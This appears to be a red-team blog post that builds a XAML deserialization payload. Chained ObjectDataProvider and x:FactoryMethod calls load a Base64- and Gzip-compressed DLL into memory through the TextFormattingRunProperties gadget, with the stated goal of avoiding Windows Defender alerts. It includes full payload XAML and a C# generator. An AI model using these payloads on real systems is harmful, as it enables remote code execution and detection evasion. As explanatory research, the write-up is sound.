Programming with XAML: Assemly.Load for .NET deserialization

Intro

During a red team engagement that I participated quite a while ago, we came across an ASP.NET web server that was vulnerable to insecure deserialisation. Usually, exploiting deserialisation bugs is easy: just generate a payload with the right gadget using ysoserial.net and you're done. But in this case, we ran into a problem because most of the gadgets available in ysoserial.net end up executing an OS command by spawning a child process, and this behaviour triggered a Windows Defender alert. A common solution to this problem is to run .NET code from memory by loading a DLL and calling a method from it. The only gadget I knew of that allowed this was the well-known ActivitySurrogateSelector, but by then it had already been mitigated by the special application setting. After a bit of googling, I stumbled across the article Re-Animating ActivitySurrogateSelector, which describes an interesting technique. The technique is to use two payloads in sequence. The first one disables the setting that was introduced to mitigate the ActivitySurrogateSelector, and the second one is the ActivitySurrogateSelector itself. The first one uses another well-known gadget from ysoserial.net — TextFormattingRunProperties with a specially crafted XAML payload. I was really impressed by the fact that XAML allows to run almost any code, and I thought that it would be cool if we could use it to run a code that loads a DLL into memory, thus simplifying the exploit to a one step. There was no such gadget in ysoserial.net at the time, so we decided to build it ourselves. So, the post is about how we did it and the difficulties we encountered.

A quick shoutout to @loqpa for the help and let's get started.

What is XAML?

Let's start by defining what XAML is. XAML stands for eXtensible Application Markup Language and it is an XML based declarative markup language, which is used to create user interfaces in some .NET UI frameworks. It is kind of HTML, but for desktop applications. There are several UI libraries that use XAML as their markup language: WPF (Windows Presentation Foundation), WinUI, UWP, etc, but in this article we will only consider WPF as an example.

Here is a XAML markup for a simple WPF application with a label and a button.

<!-- MainWindow.xaml -->
<Window x:Class="WpfAppTest.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:local="clr-namespace:WpfAppTest"
        Title="MainWindow" Height="300" Width="300">
  <Grid>
    <Label x:Name="MyLabel"
           Content="Label"
           Width="40"
           Height="30"
           HorizontalAlignment="Center"
           VerticalAlignment="Top"
           Margin="0,80,0,0" />
    <Button x:Name="MyBytton"
            Width="100"
            Height="30"
            Content="Button"
            HorizontalContentAlignment="Center" />
  </Grid>
</Window>

After running it, you'll get a window like the one below.

XAML app example

XAML represents the visual part of the application, the logic behind it is described in a corresponding C# file, usually called "code-behind". For example, to handle button click in our application, we need to add Click attribute to Button with name of method from C# file. In this case the method is called Button_Click.

<Button x:Name="MyBytton"
+       Click="Button_Click"
        Width="100"
        Height="30"
        Content="Button"
        HorizontalContentAlignment="Center" />

And the C# file that defines the click handler might look like this:

// MainWindow.xaml.cs
using System.Windows;

namespace WpfAppTest
{
  public partial class MainWindow : Window
  {
    public MainWindow()
    {
      InitializeComponent();
    }

    private void Button_Click(object sender, RoutedEventArgs e)
    {
      MyLabel.Content = "Click";
    }
  }
}

In summary, XAML is a markup language for describing the layout and appearance of UI elements and linking them to underlying code.

Code execution in XAML with ObjectDataProvider

When you write a GUI application, you often need to display data, that you get somewhere as some UI element. For example, you may need to display strings from a database as a select box, or contents of a CSV file as a table, and so on. In WPF there are many ways to do this, one of them is to use ObjectDataProvider and it is particularly interesting for us because it allows code to be executed directly from XAML.

Suppose we have some a method in our code that returns a list of strings:

namespace WpfAppTest
{
  ...
  public class Data
  {
    public static Array GetMyStrings()
    {
      return new string[] { "One", "Two", "Three" };
    }
  }
}

And we also have a ListBox element in XAML where we want to display these strings:

<!-- MainWindow.xaml -->
<Window ...>
    <Grid>
      ...
      <ListBox x:Name="MyListBox"
               Width="100"
               Height="100"
               HorizontalAlignment="Center"
               VerticalAlignment="Bottom"
               Margin="0,0,0,10" />
    </Grid>
</Window>

To connect data from the GetMyStrings method to the ListBox, we can add an ObjectDataProvider to Window.Resources like this:

<Window x:Class="WpfAppTest.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
+       xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+       xmlns:local="clr-namespace:WpfAppTest"
        Title="MainWindow" Height="300" Width="300">
        
+   <Window.Resources>
+     <ObjectDataProvider x:Key="myListItems"
+                         ObjectType="{x:Type local:Data}"
+                         MethodName="GetMyStrings">
+     </ObjectDataProvider>
+   </Window.Resources>
  
    <Grid>
        ...
</Window>

Here we've created a resource that can be accessed via the myListItems key. The ObjectType attribute allows any available type to be selected by using the XAML x:Type markup extension and specifying the type name. Here we've provided the value local:Data, where local is the current application namespace declared as xmlns on the Window tag and Data is the name of the class from our code. MethodName is the name of the method to call on the type specified using the ObjectType.

Now we can use the created ObjectDataProvider as ItemSource for ListBox using the StaticResource markup extension:

<!-- MainWindow.xaml -->
<Window ...>
  <Grid>
    ...
    <ListBox x:Name="MyListBox"
+            ItemsSource="{Binding Source={StaticResource myListItems}}"
             Width="100"
             Height="100"
             HorizontalAlignment="Center"
             VerticalAlignment="Bottom"
             Margin="0,0,0,10" />
  </Grid>
</Window>

If we now run our application, we will see a window like this:

ListBox

So, basically we've just executed the code as shown below, using only XAML.

WpfAppTest.Data.GetMyStrings();

But ObjectDataProvider is much more powerful. For example, we can pass arguments to methods. Let's change our code so that GetMyString take the filter string as an argument:

public class Data
{
  public static Array GetMyStrings(string filter)
  {
    var items = new string[] { "One", "Two", "Three" };
    return items.Where(x => x.Contains(filter)).ToArray();
  }
}

Now we can modify the XAML file to provide a filter argument to this method:

Window x:Class="WpfAppTest.MainWindow"
       xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
       xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+      xmlns:s="clr-namespace:System;assembly=mscorlib"
       xmlns:local="clr-namespace:WpfAppTest"
       Title="MainWindow" Height="300" Width="300">
    
  <Window.Resources>
    <ObjectDataProvider x:Key="myListItems"
                        ObjectType="{x:Type local:Data}"
                        MethodName="GetMyStrings">
+      <ObjectDataProvider.MethodParameters>
+        <s:String>e</s:String>
+      </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
  </Window.Resources>   
  
  ...

As you can see, to be able to use the System.String type we need to define xmlns on the Window tag with the value clr-namespace:System;assembly=mscorlib. After that System.String could be accessed as s:String. So by declaring xmlns on the root element of the XAML, we are able to import any DLL on the system.

If we can execute any method from our code, is it possible to execute, for example, Process.Start("calc.exe")? The answer is yes. We just need to import the System.Diagnostics namespace from System.dll and call Process.Start with the required arguments:

<Window x:Class="WpfAppTest.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:s="clr-namespace:System;assembly=mscorlib"
+       xmlns:d="clr-namespace:System.Diagnostics;assembly=System"
        xmlns:local="clr-namespace:WpfAppTest"
        Title="MainWindow" Height="300" Width="300">
    
  <Window.Resources>
-    <ObjectDataProvider x:Key="myListItems"
-                        ObjectType="{x:Type local:Data}"
-                        MethodName="GetMyStrings">
-      <ObjectDataProvider.MethodParameters>
-        <s:String>e</s:String>
-      </ObjectDataProvider.MethodParameters>
-    </ObjectDataProvider>
+    <ObjectDataProvider x:Key="myListItems"
+                        ObjectType="{x:Type d:Process}"
+                        MethodName="Start">
+      <ObjectDataProvider.MethodParameters>
+        <s:String>calc.exe</s:String>
+      </ObjectDataProvider.MethodParameters>
+    </ObjectDataProvider>
  </Window.Resources>

    ...

When you launch the application, a calculator will open:

calc.exe

The key takeaway is that with the help of ObjectDataProvider you can execute almost any code during XAML parsing. There are some limitations which we will discuss later.

One more thing, to test code execution in XAML we don't actually need to create a WPF application, we can just use the XamlReader.Parse method from the System.Windows.Markup namespace:

using System;
using System.Windows.Markup;

namespace XamlTest
{
  class Program
  {
    static void Main(string[] args)
    {

      var xaml = @"
<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:s=""clr-namespace:System;assembly=mscorlib""
  xmlns:d=""clr-namespace:System.Diagnostics;assembly=System"">

<ObjectDataProvider x:Key=""calc""
                    ObjectType=""{x:Type d:Process}""
                    MethodName=""Start"">
    <ObjectDataProvider.MethodParameters>
        <s:String>calc.exe</s:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

</ResourceDictionary>";

      try
      {
        XamlReader.Parse(xaml);
      }
      catch (Exception e)
      {
        Console.WriteLine(e.Message);
      }

      Console.ReadKey();
    }
  }
}

XAML and .NET deserialization

You may ask, what XAML has to do with .NET deserialization? The answer is TextFormattingRunProperties gadget. It is .NET deserialisation gadget found by Oleksandr Mirosh (@olekmirosh) and Alvaro Munoz (@pwntester).

The gadget is called the same as it's entry point class TextFormattingRunProperties from the namespace Microsoft.VisualStudio.Text.Formatting inside the Microsoft.VisualStudio.Text.UI.Wpf.dll library. Here is the code for this class:

namespace Microsoft.VisualStudio.Text.Formatting
{
  [Serializable]
  public sealed class TextFormattingRunProperties: 
    TextRunProperties,
    ISerializable,
    IObjectReference
  {
    ...
    // Deserialization constructor, called on deserialize
    internal TextFormattingRunProperties(SerializationInfo info, StreamingContext context)
    {
      this._foregroundBrush = (Brush) this.GetObjectFromSerializationInfo(nameof (ForegroundBrush), info);
      ...
    }
  }
}

As you can see, this class is marked as [Serializable] and implements the ISerializable interface, which means that on deserialisation the special deserialisation constructor is called. Inside this constructor there is a call to the GetObjectFromSerializationInfo method:

private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
{
  string xamlText = info.GetString(name);
  return xamlText == "null" ? (object) null : XamlReader.Parse(xamlText);
}

Here the string of serialised data, which is controlled by an attacker in case of a deserialization vulnerablity, is passed to the XamlReader.Parse method. So basically, an attacker controls XAML data that is parsed. As we already know from the previous part, this leads to remote code execution.

ObjectDataProvider features and limitations

Ok, we can run Process.Start("calc.exe"). But how about something more complex? Something like Assembly.Load(dllBytes).

As we already know, ObjectDataProvider can be used to execute static methods on types. We've used this feature to call Process.Start:

<ResourceDictionary
	xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
	xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
	xmlns:s="clr-namespace:System;assembly=mscorlib"
	xmlns:d="clr-namespace:System.Diagnostics;assembly=System">

<ObjectDataProvider x:Key="calc"
                    ObjectType="{x:Type d:Process}"
                    MethodName="Start">
  <ObjectDataProvider.MethodParameters>
    <s:String>calc.exe</s:String>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

</ResourceDictionary>

Now let's look at other useful features of the ObjectDataProvider, such as the ability to call object constructors with arguments and the ability to call methods on instances. For example, we have the following code:

public class DataObject
{
  public string[] items;

  public DataObject(string[] items)
  {
    this.items = items;
  }

  public string[] GetItems(int count)
  {
    return items.Take(count).ToArray();
  }
}

Let's imagine that we want to create an instance of DataObject using the ObjectDataProvider and then create another ObjectDataProvider, which calls the GetItems method on the created instance. We can do it like this:

<ResourceDictionary
	  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
	  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
	  xmlns:local="clr-namespace:XamlTest;assembly=XamlTest">

<ObjectDataProvider x:Key="first"
                    ObjectType="{x:Type local:First}">
  <ObjectDataProvider.ConstructorParameters>
	</ObjectDataProvider.ConstructorParameters>
</ObjectDataProvider>

<ObjectDataProvider x:Key="second"
                    ObjectType="{x:Type local:Second}">
  <ObjectDataProvider.ConstructorParameters>
    <StaticResource ResourceKey="first" />
  </ObjectDataProvider.ConstructorParameters>
</ObjectDataProvider>

</ResourceDictionary>

Here we've used a several new important features of ObjectDataProvider:

Ok, we've discussed some the useful features of ObjectDataProvider, now let's look at the limitations.

Suppose we have two classes, First and Second defined as follows:

public class First
{
  public First() { }
}

public class Second
{
  public Second(object first)
  {
    Console.WriteLine(first);
  }
}

And we need to execute the following C# code using only XAML:

First first = new First();
Second second = new Second(first);

If we rewrite this as XAML using ObjectDataProvider, we get something like this:

<ResourceDictionary
	  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
	  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
	  xmlns:local="clr-namespace:XamlTest;assembly=XamlTest">

<ObjectDataProvider x:Key="first"
                    ObjectType="{x:Type local:First}">
  <ObjectDataProvider.ConstructorParameters>
	</ObjectDataProvider.ConstructorParameters>
</ObjectDataProvider>

<ObjectDataProvider x:Key="second"
                    ObjectType="{x:Type local:Second}">
  <ObjectDataProvider.ConstructorParameters>
    <StaticResource ResourceKey="first" />
  </ObjectDataProvider.ConstructorParameters>
</ObjectDataProvider>

</ResourceDictionary>

But if we try to execute this XAML with XamlReader.Parse, we'll find out that the constructor of the Second class did not receive an object of the type First, but of the type ObjectDataProvider instead. This is the main limitation I've found in the ObjectDataProvider: it is impossible to pass an object created with the ObjectDataProvider using the StaticResource extention as an argument to a constructor/method of another ObjectDataProvider.

Implementing Assembly.Load

Ok, now we are finally ready to implement Assembly.Load in XAML. But due to the restrictions, we have to do it without passing any created objects as arguments to other object constructors or method calls. This is not that hard, here is what the C# code looks like:

byte[] data = new byte[] { /*... Payload.dll bytes ...*/ };
Assembly assembly = Assembly.Load(data);
Type type = assembly.GetType("MyType");
MethodInfo method = type.GetMethod("Run", BindingFlags.Static | BindingFlags.Public);
method.Invoke(null, new object[] {});

We were able to get around the limitations, because we are only using static method calls here. We don't need to pass an object instance to the Invoke method for static calls, so we can just pass null.

As a payload we can use something simple for now:

using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}

To build a DLL-file from this code open the Developer Command Prompt for VS 20XX and execute the following command:

csc /target:library /optimize /out:Payload.dll Payload.cs

Now let's translate the code into XAML line by line.

To create an array of assembly bytes we can use the x:Array XAML extension. It is not a perfect solution, because the size of such array will be 20 times larger than the size of the DLL, but we will improve this later.

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
  <!-- byte[] data = new byte[] { /*... Payload.dll bytes ...*/ }; -->
  <x:Array x:Key="data" Type="{x:Type x:Byte}">
    <x:Byte>77</x:Byte>
    <!-- ... 3582 lines ... -->
    <x:Byte>0</x:Byte>
  </x:Array>
</ResourceDictionary>

Then, we can use ObjectDataProvider to call the static method Assembly.Load and pass the data array we've created:

diff --git a/1.xaml b/2.xaml
index 4d3aa6b..b6433bf 100644
--- a/1.xaml
+++ b/2.xaml
@@ -1,5 +1,6 @@
 <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+                    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
 >
   <!-- byte[] data = new byte[] { /*... Payload.dll bytes ...*/ }; -->
   <x:Array x:Key="data" Type="{x:Type x:Byte}">
@@ -7,4 +8,11 @@
     <!-- ... 3582 lines ... -->
     <x:Byte>0</x:Byte>
   </x:Array>
+
+  <!-- Assembly assembly = Assembly.Load(data); -->
+  <ObjectDataProvider x:Key="assembly" ObjectType="{x:Type r:Assembly}" MethodName="Load">
+    <ObjectDataProvider.MethodParameters>
+      <StaticResource ResourceKey="data"></StaticResource>
+    </ObjectDataProvider.MethodParameters>
+  </ObjectDataProvider>
 </ResourceDictionary>

To call the GetType method on the assembly object instance, we can also use ObjectDataProvider:

diff --git a/2.xaml b/3.xaml
index edb5802..e038bf4 100644
--- a/2.xaml
+++ b/3.xaml
@@ -1,6 +1,7 @@
 <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                     xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
+                    xmlns:s="clr-namespace:System;assembly=mscorlib"
 >
   <!-- byte[] data = new byte[] { /*... Payload.dll bytes ...*/ }; -->
   <x:Array x:Key="data" Type="{x:Type x:Byte}">
@@ -15,4 +16,11 @@
       <StaticResource ResourceKey="data"></StaticResource>
     </ObjectDataProvider.MethodParameters>
   </ObjectDataProvider>
+
+  <!-- Type type = assembly.GetType("MyType"); -->
+  <ObjectDataProvider x:Key="type" ObjectInstance="{StaticResource assembly}" MethodName="GetType">
+    <ObjectDataProvider.MethodParameters>
+      <s:String>Payload</s:String>
+    </ObjectDataProvider.MethodParameters>
+  </ObjectDataProvider>
 </ResourceDictionary>

The same goes for calling the GetMethod method on the type object instance. We just need to calculate the value for BindingFlags.Static | BindingFlags.Public:

diff --git a/3.xaml b/4.xaml
index e038bf4..157d2da 100644
--- a/3.xaml
+++ b/4.xaml
@@ -23,4 +23,12 @@
       <s:String>Payload</s:String>
     </ObjectDataProvider.MethodParameters>
   </ObjectDataProvider>
+
+  <!-- MethodInfo method = type.GetMethod("Run", BindingFlags.Static | BindingFlags.Public); -->
+  <ObjectDataProvider x:Key="method" ObjectInstance="{StaticResource type}" MethodName="GetMethod">
+    <ObjectDataProvider.MethodParameters>
+      <s:String>Run</s:String>
+      <r:BindingFlags>24</r:BindingFlags>
+    </ObjectDataProvider.MethodParameters>
+  </ObjectDataProvider>
 </ResourceDictionary>

Finally, for the last piece of code, we need to use the x:Array markup extension to create an array of object and the x:Null markup extension for the null value:

diff --git a/4.xaml b/5.xaml
index 157d2da..2e5b432 100644
--- a/4.xaml
+++ b/5.xaml
@@ -31,4 +31,12 @@
       <r:BindingFlags>24</r:BindingFlags>
     </ObjectDataProvider.MethodParameters>
   </ObjectDataProvider>
+
+  <!-- method.Invoke(null, new object[] {}); -->
+  <ObjectDataProvider x:Key="invoke" ObjectInstance="{StaticResource method}" MethodName="Invoke">
+    <ObjectDataProvider.MethodParameters>
+      <x:Null></x:Null>
+      <x:Array Type="{x:Type s:Object}"></x:Array>
+    </ObjectDataProvider.MethodParameters>
+  </ObjectDataProvider>
 </ResourceDictionary>

Here is how the final payload looks like:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
                    xmlns:s="clr-namespace:System;assembly=mscorlib"
>
  <!-- byte[] data = new byte[] { /*... Payload.dll bytes ...*/ }; -->
  <x:Array x:Key="data" Type="{x:Type x:Byte}">
    <x:Byte>77</x:Byte>
    <!-- ... 3582 lines ... -->
    <x:Byte>0</x:Byte>
  </x:Array>

  <!-- Assembly assembly = Assembly.Load(data); -->
  <ObjectDataProvider x:Key="assembly" ObjectType="{x:Type r:Assembly}" MethodName="Load">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="data"></StaticResource>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>

  <!-- Type type = assembly.GetType("MyType"); -->
  <ObjectDataProvider x:Key="type" ObjectInstance="{StaticResource assembly}" MethodName="GetType">
    <ObjectDataProvider.MethodParameters>
      <s:String>Payload</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>

  <!-- MethodInfo method = type.GetMethod("Run", BindingFlags.Static | BindingFlags.Public); -->
  <ObjectDataProvider x:Key="method" ObjectInstance="{StaticResource type}" MethodName="GetMethod">
    <ObjectDataProvider.MethodParameters>
      <s:String>Run</s:String>
      <r:BindingFlags>24</r:BindingFlags>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>

  <!-- method.Invoke(null, new object[] {}); -->
  <ObjectDataProvider x:Key="invoke" ObjectInstance="{StaticResource method}" MethodName="Invoke">
    <ObjectDataProvider.MethodParameters>
      <x:Null></x:Null>
      <x:Array Type="{x:Type s:Object}"></x:Array>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>

And here is the code to test it. For convenience, we've added a BuildAssembly method that builds the DLL payload, so it's not necessary to run csc to do it.

using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;
using System.Windows.Markup;

namespace XAMLTests
{
  internal class Program
  {
    static void Main(string[] args)
    {
      var assemblyBytes = BuildAssembly();
      var xaml = AssemblyLoad(assemblyBytes);
      Console.WriteLine(xaml);
      Console.ReadKey();

      XamlReader.Parse(xaml);
    }

    static byte[] BuildAssembly()
    {
      string code = @"
using System.Diagnostics;

public class Payload
{
    public static void Run()
    {
        Process.Start(""calc"");
    }
}
";

      CompilerParameters compilerParameters = new CompilerParameters();
      compilerParameters.GenerateInMemory = true;
      compilerParameters.TreatWarningsAsErrors = false;
      compilerParameters.GenerateExecutable = false;
      compilerParameters.CompilerOptions = "/target:library /optimize";
      compilerParameters.ReferencedAssemblies.AddRange(new string[]
      {
        "mscorlib.dll",
        "System.dll"
      });
      CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider();
      CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, code);

      if (compilerResults.Errors.HasErrors)
      {
        string text = "Compile error: ";
        foreach (CompilerError compilerError in compilerResults.Errors)
        {
          text = text + "\n" + compilerError.ToString();
        }

        throw new Exception(text);
      }

      Assembly assembly = compilerResults.CompiledAssembly;

      var pi = assembly.GetType().GetMethod("GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic);
      byte[] assemblyBytes = (byte[])pi.Invoke(assembly, null);

      return assemblyBytes;
    }

    static string AssemblyLoad(byte[] assemblyBytes)
    {
      StringBuilder assemblyXml = new StringBuilder();

      foreach (var b in assemblyBytes)
      {
        assemblyXml.AppendLine(@"<x:Byte>" + b.ToString() + "</x:Byte>");
      }

      var xaml = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">

<x:Array x:Key=""data"" Type=""{x:Type x:Byte}"">" + assemblyXml + @"</x:Array>

<ObjectDataProvider x:Key=""assembly""  ObjectType=""{x:Type r:Assembly}"" MethodName=""Load"">
  <ObjectDataProvider.MethodParameters>
    <StaticResource ResourceKey=""data""></StaticResource>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

<ObjectDataProvider x:Key=""type"" ObjectInstance=""{StaticResource assembly}"" MethodName=""GetType"">
  <ObjectDataProvider.MethodParameters>
    <s:String>Payload</s:String>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

<ObjectDataProvider x:Key=""method"" ObjectInstance=""{StaticResource type}"" MethodName=""GetMethod"">
  <ObjectDataProvider.MethodParameters>
    <s:String>Run</s:String>
    <r:BindingFlags>24</r:BindingFlags>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

<ObjectDataProvider x:Key=""invoke"" ObjectInstance=""{StaticResource method}"" MethodName=""Invoke"">
  <ObjectDataProvider.MethodParameters>
    <x:Null></x:Null>
    <x:Array Type=""{x:Type s:Object}""></x:Array>
  </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
      return xaml;
    }
  }
}

Reducing the payload size

Well, our payload is good enough, but its size is about 75Kb, which may be too large for some cases. What can we do to reduce its size? The obvious improvement is to use Base64 to the encode DLL, like this:

var assemblyBase64 = "TVqQAAMAAAA...AAAA";
var assemblyBytes = Convert.FromBase64String(assemblyBase64);
// ...

But if we try to implement this in XAML with ObjectDataProvider, we will run into the previously described limitation, because the result of calling Convert.FromBase64String with the ObjectDataProvider will be of type ObjectDataProvider, not byte[]. After digging deep into the documentation, we've found another useful XAML markup extention —x:FactoryMethod. It was added in XAML 2009 specification, which is not supported by WPF framework, but it is supported in XamlReader.Parse method. This extension allows to create an object using the provided static FactoryMethod and the result will be of the specified type, not ObjectDataProvider. So, we can just do something like this:

diff --git a/5.xaml b/6.xaml
index 2e5b432..acbfd97 100644
--- a/5.xaml
+++ b/6.xaml
@@ -3,12 +3,12 @@
                     xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
                     xmlns:s="clr-namespace:System;assembly=mscorlib"
 >
-    <!-- byte[] data = new byte[] { /*... Payload.dll bytes ...*/ }; -->
-    <x:Array x:Key="data" Type="{x:Type x:Byte}">
-        <x:Byte>77</x:Byte>
-        <!-- ... 3582 lines ... -->
-        <x:Byte>0</x:Byte>
-    </x:Array>
+    <!-- Array data = Convert.FromBase64String("TVqQAAMAAAA...AAAA"); -->
+    <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">
+      <x:Arguments>
+        <s:String>TVqQAAMAAAA...AAAA</s:String>
+      </x:Arguments>
+    </s:Array>
 
     <!-- Assembly assembly = Assembly.Load(data); -->
     <ObjectDataProvider x:Key="assembly" ObjectType="{x:Type r:Assembly}" MethodName="Load">

This improvement significantly reduces the payload size from 75Kb to just 6Kb. Should we stop here? Of course not! We can do better. If you take a closer look at the payload, you'll notice that it contains a lot of zero bytes. So, we can use a compression algorithm like Gzip to reduce payload size even more. To do so, we need to implement the equivalent code in XAML:

var assemblyGzipBase64 = "TVqQAAMAAAA...AAAA";
var assemblyGzipBytes = Convert.FromBase64String(assemblyGzipBase64);
var inputStream = new MemoryStream(assemblyGzipBytes);
var gzipStream = new GZipStream(inputStream, CompressionMode.Decompress);
var outputStream = new MemoryStream();
gzipStream.CopyTo(outputStream);
var data = outputStream.ToArray();
Assembly assembly = Assembly.Load(data);

To get around the limitation of ObjectDataProvider, we can rewrite the code a little bit:

var assemblyGzipBase64 = "TVqQAAMAAAA...AAAA";
var assemblyGzipBytes = Convert.FromBase64String(assemblyGzipBase64);
var inputStream = new MemoryStream(assemblyGzipBytes);
var gzipStream = new GZipStream(inputStream, CompressionMode.Decompress);
var data = Array.CreateInstance(typeof(Byte), 3072);
gzipStream.Read((byte[])data, 0, 3072);
Assembly assembly = Assembly.Load(data);

We've replaced gzipStream.CopyTo(outputStream) here to get rid of the call outputStream.ToArray() that requires to use ObjectDataProvider and, therefore, returns an object of type ObjectDataProvider. Instead, we call gzipStream.Read, which works because we don't need to use its result, we just use output parameter data (but we need to calculate data size in advance). So, here is the final result:

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                    xmlns:s="clr-namespace:System;assembly=mscorlib"
                    xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
                    xmlns:i="clr-namespace:System.IO;assembly=mscorlib"
                    xmlns:c="clr-namespace:System.IO.Compression;assembly=System">
  <!-- var data = Convert.FromBase64String("H4sIA...AAA=="); -->
  <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">
    <x:Arguments>
      <s:String>H4sIA...AAA==</s:String>
    </x:Arguments>
  </s:Array>
  
  <!-- var inputStream = new MemoryStream(); -->
  <i:MemoryStream x:Key="inputStream">
    <x:Arguments>
      <StaticResource ResourceKey="data"></StaticResource>
    </x:Arguments>
  </i:MemoryStream>
  
  <!-- var gzipStream = new GZipStream(inputStream, CompressionMode.Decompress); -->
  <c:GZipStream x:Key="gzipStream">
    <x:Arguments>
      <StaticResource ResourceKey="inputStream"></StaticResource>
      <c:CompressionMode>0</c:CompressionMode>
    </x:Arguments>
  </c:GZipStream>
  
  <!-- var buf = Array.CreateInstance(typeof(Byte), 3072); -->
  <s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance">
    <x:Arguments>
      <x:Type TypeName="s:Byte" />
      <x:Int32>3072</x:Int32>
    </x:Arguments>
  </s:Array>
  
  <!-- var tmp = gzipStream.Read(buf, 0, 3072); -->
  <ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="buf"></StaticResource>
      <x:Int32>0</x:Int32>
      <x:Int32>3072</x:Int32>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  
  <!-- Assembly assembly = Assembly.Load(buf); -->
  <ObjectDataProvider x:Key="assembly" ObjectType="{x:Type r:Assembly}" MethodName="Load">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="buf"></StaticResource>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  
  <!-- Type type = assembly.GetType("MyType"); -->
  <ObjectDataProvider x:Key="type" ObjectInstance="{StaticResource assembly}" MethodName="GetType">
    <ObjectDataProvider.MethodParameters>
      <s:String>Payload</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  
  <!-- MethodInfo method = type.GetMethod("Run", BindingFlags.Static | BindingFlags.Public); -->
  <ObjectDataProvider x:Key="method" ObjectInstance="{StaticResource type}" MethodName="GetMethod">
    <ObjectDataProvider.MethodParameters>
      <s:String>Run</s:String>
      <r:BindingFlags>24</r:BindingFlags>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  
  <!-- method.Invoke(null, new object[] {}); -->
  <ObjectDataProvider x:Key="invoke" ObjectInstance="{StaticResource method}" MethodName="Invoke">
    <ObjectDataProvider.MethodParameters>
      <x:Null></x:Null>
      <x:Array Type="{x:Type s:Object}"></x:Array>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>

With the help of Gzip, we were able to reduce the payload even more, from 6Kb to just 4Kb!

Final thoughts

It's been a really fun thing to research and we've learnt a lot of interesting things about .NET and XAML along the way. The only thing that bothers me is the ObjectDataProvider limitation, I hope that someone will find a solution to this problem and then it will be possible to implement a translator from C# code to XAML, but I'm not sure why anyone would need that 😄

Also, it is worth to mention that a similar XAML payload was later added to ysoserial.net by Soroush Dalili (@irsdl) for the DataSetOldBehaviourFromFile gadget, but there are no Base64 and Gzip implementations there.